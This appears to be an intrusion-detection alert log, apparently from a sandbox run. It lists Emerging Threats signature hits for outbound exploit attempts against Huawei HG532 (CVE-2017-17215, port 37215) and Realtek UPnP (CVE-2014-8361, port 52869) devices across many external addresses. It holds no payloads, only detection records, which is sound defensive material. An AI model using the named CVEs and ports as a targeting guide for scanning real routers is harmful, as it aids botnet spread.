Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.201.122.237

Timestamp:	07/20/24-23:01:11.818830
SID:	2835222
Source Port:	47376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 69.58.59.239

Timestamp:	07/20/24-23:01:55.802130
SID:	2025132
Source Port:	49964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.95.218.159

Timestamp:	07/20/24-23:01:45.933452
SID:	2027339
Source Port:	51032
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.21.145.183

Timestamp:	07/20/24-23:01:00.648489
SID:	2835222
Source Port:	54854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 131.22.29.107

Timestamp:	07/20/24-23:01:41.456456
SID:	2025132
Source Port:	51624
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 180.191.130.65

Timestamp:	07/20/24-23:01:55.428221
SID:	2027339
Source Port:	55450
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.200.152.219

Timestamp:	07/20/24-23:01:14.100332
SID:	2835222
Source Port:	58066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 195.64.245.14

Timestamp:	07/20/24-23:01:08.630327
SID:	2831300
Source Port:	34078
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 211.27.252.180

Timestamp:	07/20/24-23:01:13.282996
SID:	2027339
Source Port:	57500
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.78.152.186

Timestamp:	07/20/24-23:01:24.929013
SID:	2829579
Source Port:	56196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.171.117.24

Timestamp:	07/20/24-23:01:27.653586
SID:	2829579
Source Port:	48390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.118.41.79

Timestamp:	07/20/24-23:01:34.044417
SID:	2829579
Source Port:	41170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.15.162.89

Timestamp:	07/20/24-23:01:43.054762
SID:	2027339
Source Port:	32944
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 204.152.123.98

Timestamp:	07/20/24-23:01:41.463722
SID:	2025132
Source Port:	46604
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 68.175.73.118

Timestamp:	07/20/24-23:01:41.303421
SID:	2025132
Source Port:	50492
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 157.142.102.71

Timestamp:	07/20/24-23:01:43.621955
SID:	2831300
Source Port:	59324
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.119.197.200

Timestamp:	07/20/24-23:01:07.005156
SID:	2829579
Source Port:	44902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 220.210.17.223

Timestamp:	07/20/24-23:01:42.608320
SID:	2831300
Source Port:	38496
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 81.110.138.235

Timestamp:	07/20/24-23:01:52.582295
SID:	2027339
Source Port:	35552
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.221.87.32

Timestamp:	07/20/24-23:01:02.047411
SID:	2835222
Source Port:	41596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.138.84.14

Timestamp:	07/20/24-23:01:44.565132
SID:	2027339
Source Port:	57282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.31.217.253

Timestamp:	07/20/24-23:01:14.060998
SID:	2829579
Source Port:	38858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.58.232.126

Timestamp:	07/20/24-23:01:55.154049
SID:	2027339
Source Port:	43950
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.178.133.102

Timestamp:	07/20/24-23:01:32.039719
SID:	2835222
Source Port:	56254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 48.218.79.196

Timestamp:	07/20/24-23:01:43.921490
SID:	2831300
Source Port:	52538
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 9.196.233.159

Timestamp:	07/20/24-23:01:41.392527
SID:	2025132
Source Port:	56686
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 49.9.206.193

Timestamp:	07/20/24-23:01:41.676253
SID:	2831300
Source Port:	44594
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.212.66.23

Timestamp:	07/20/24-23:01:42.608320
SID:	2027339
Source Port:	47468
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.74.184.130

Timestamp:	07/20/24-23:01:00.633742
SID:	2835222
Source Port:	49618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 115.161.142.144

Timestamp:	07/20/24-23:01:02.724151
SID:	2025132
Source Port:	41746
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.145.174

Timestamp:	07/20/24-23:00:59.157444
SID:	2835222
Source Port:	41416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 25.108.103.192

Timestamp:	07/20/24-23:01:08.659435
SID:	2831300
Source Port:	39710
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 203.13.28.171

Timestamp:	07/20/24-23:01:49.456461
SID:	2831300
Source Port:	51876
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 138.199.35.177

Timestamp:	07/20/24-23:01:49.084300
SID:	2831300
Source Port:	40496
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 99.190.226.142

Timestamp:	07/20/24-23:01:57.885722
SID:	2027339
Source Port:	55240
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 45.144.124.12

Timestamp:	07/20/24-23:01:31.320679
SID:	2831300
Source Port:	57774
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.186.3.56

Timestamp:	07/20/24-23:01:31.975158
SID:	2835222
Source Port:	58306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 188.52.23.162

Timestamp:	07/20/24-23:01:58.624224
SID:	2831300
Source Port:	60474
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 191.177.238.243

Timestamp:	07/20/24-23:01:42.631864
SID:	2831300
Source Port:	47372
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.10.179.128

Timestamp:	07/20/24-23:01:08.672944
SID:	2027339
Source Port:	55890
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 134.217.248.188

Timestamp:	07/20/24-23:01:49.555689
SID:	2025132
Source Port:	52848
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.150.124.219

Timestamp:	07/20/24-23:01:51.354418
SID:	2027339
Source Port:	44534
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 80.223.189.233

Timestamp:	07/20/24-23:02:09.148759
SID:	2831300
Source Port:	44778
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.65.153.68

Timestamp:	07/20/24-23:01:42.262355
SID:	2025132
Source Port:	57412
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 139.163.81.215

Timestamp:	07/20/24-23:01:52.934726
SID:	2027339
Source Port:	46990
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.121.218.24

Timestamp:	07/20/24-23:01:31.982478
SID:	2835222
Source Port:	43552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 175.222.148.23

Timestamp:	07/20/24-23:02:09.668312
SID:	2025132
Source Port:	45842
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 150.181.42.248

Timestamp:	07/20/24-23:01:08.646615
SID:	2831300
Source Port:	54664
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.83.57.75

Timestamp:	07/20/24-23:01:11.636425
SID:	2835222
Source Port:	53820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.145.211.206

Timestamp:	07/20/24-23:01:43.173843
SID:	2027339
Source Port:	47334
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.162.52.201

Timestamp:	07/20/24-23:01:52.482723
SID:	2027339
Source Port:	58162
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 184.207.38.235

Timestamp:	07/20/24-23:01:41.303669
SID:	2025132
Source Port:	41978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 18.71.115.72

Timestamp:	07/20/24-23:01:52.038834
SID:	2831300
Source Port:	45048
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 195.17.33.203

Timestamp:	07/20/24-23:01:34.062277
SID:	2829579
Source Port:	48014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.87.142.177

Timestamp:	07/20/24-23:01:04.094795
SID:	2829579
Source Port:	55162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 68.37.23.19

Timestamp:	07/20/24-23:01:49.207937
SID:	2027339
Source Port:	58860
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 27.254.228.216

Timestamp:	07/20/24-23:01:01.320095
SID:	2025132
Source Port:	34398
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.87.66.233

Timestamp:	07/20/24-23:01:24.944299
SID:	2835222
Source Port:	42332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 18.13.209.238

Timestamp:	07/20/24-23:01:42.501090
SID:	2831300
Source Port:	35970
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.100.128.69

Timestamp:	07/20/24-23:01:04.039129
SID:	2835222
Source Port:	32866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.60.97.199

Timestamp:	07/20/24-23:01:09.030401
SID:	2027339
Source Port:	36084
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 61.169.73.117

Timestamp:	07/20/24-23:01:50.418920
SID:	2027339
Source Port:	47852
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.205.206.142

Timestamp:	07/20/24-23:01:44.274940
SID:	2027339
Source Port:	44924
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.24.39.230

Timestamp:	07/20/24-23:00:59.191389
SID:	2829579
Source Port:	34754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.66.212.197

Timestamp:	07/20/24-23:01:44.250892
SID:	2027339
Source Port:	60948
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.189.13.100

Timestamp:	07/20/24-23:01:11.818842
SID:	2829579
Source Port:	60604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.244.169.9

Timestamp:	07/20/24-23:01:00.636533
SID:	2835222
Source Port:	45164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.45.76.10

Timestamp:	07/20/24-23:01:40.334452
SID:	2835222
Source Port:	50810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 196.221.214.48

Timestamp:	07/20/24-23:01:46.871315
SID:	2831300
Source Port:	47422
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 141.137.71.180

Timestamp:	07/20/24-23:01:41.722890
SID:	2831300
Source Port:	44964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 166.75.101.81

Timestamp:	07/20/24-23:02:04.133788
SID:	2025132
Source Port:	57830
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.59.59.107

Timestamp:	07/20/24-23:01:47.798104
SID:	2027339
Source Port:	52252
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 212.16.123.155

Timestamp:	07/20/24-23:01:43.167781
SID:	2027339
Source Port:	52466
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 178.223.125.30

Timestamp:	07/20/24-23:01:04.039128
SID:	2835222
Source Port:	33546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 176.234.87.122

Timestamp:	07/20/24-23:01:58.885082
SID:	2027339
Source Port:	42284
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 186.40.176.32

Timestamp:	07/20/24-23:01:04.423031
SID:	2025132
Source Port:	43584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 144.152.137.9

Timestamp:	07/20/24-23:01:10.775483
SID:	2027339
Source Port:	43032
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 93.25.182.143

Timestamp:	07/20/24-23:01:47.873078
SID:	2831300
Source Port:	51952
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.84.55.40

Timestamp:	07/20/24-23:01:27.655551
SID:	2835222
Source Port:	44916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.248.77.62

Timestamp:	07/20/24-23:01:54.808195
SID:	2027339
Source Port:	33692
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 212.24.31.41

Timestamp:	07/20/24-23:01:41.501891
SID:	2027339
Source Port:	53774
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.184.119.75

Timestamp:	07/20/24-23:01:51.562834
SID:	2027339
Source Port:	53128
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.208.23.95

Timestamp:	07/20/24-23:01:44.392836
SID:	2027339
Source Port:	56896
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 89.150.205.193

Timestamp:	07/20/24-23:01:48.275988
SID:	2025132
Source Port:	39732
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.0.183.138

Timestamp:	07/20/24-23:01:34.060991
SID:	2835222
Source Port:	45286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.134.186.139

Timestamp:	07/20/24-23:01:06.991143
SID:	2829579
Source Port:	35088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.191.160.62

Timestamp:	07/20/24-23:02:37.919900
SID:	2027339
Source Port:	35978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 32.103.164.103

Timestamp:	07/20/24-23:01:48.986585
SID:	2831300
Source Port:	49714
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 126.224.156.29

Timestamp:	07/20/24-23:01:41.383579
SID:	2027339
Source Port:	43468
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 142.238.177.84

Timestamp:	07/20/24-23:01:43.062246
SID:	2027339
Source Port:	54704
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 152.191.160.62

Timestamp:	07/20/24-23:02:10.069241
SID:	2831300
Source Port:	37284
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.160.251.29

Timestamp:	07/20/24-23:01:14.090830
SID:	2835222
Source Port:	36734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.210.235.23

Timestamp:	07/20/24-23:01:51.124824
SID:	2027339
Source Port:	35310
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 208.190.62.115

Timestamp:	07/20/24-23:01:08.597662
SID:	2831300
Source Port:	36710
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.120.34.76

Timestamp:	07/20/24-23:01:43.580365
SID:	2027339
Source Port:	55990
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.55.77.0

Timestamp:	07/20/24-23:01:43.642551
SID:	2027339
Source Port:	56348
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 93.186.61.171

Timestamp:	07/20/24-23:01:47.267254
SID:	2025132
Source Port:	51136
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 90.243.193.156

Timestamp:	07/20/24-23:01:01.443835
SID:	2025132
Source Port:	52384
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.120.22.241

Timestamp:	07/20/24-23:01:46.220244
SID:	2027339
Source Port:	37292
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

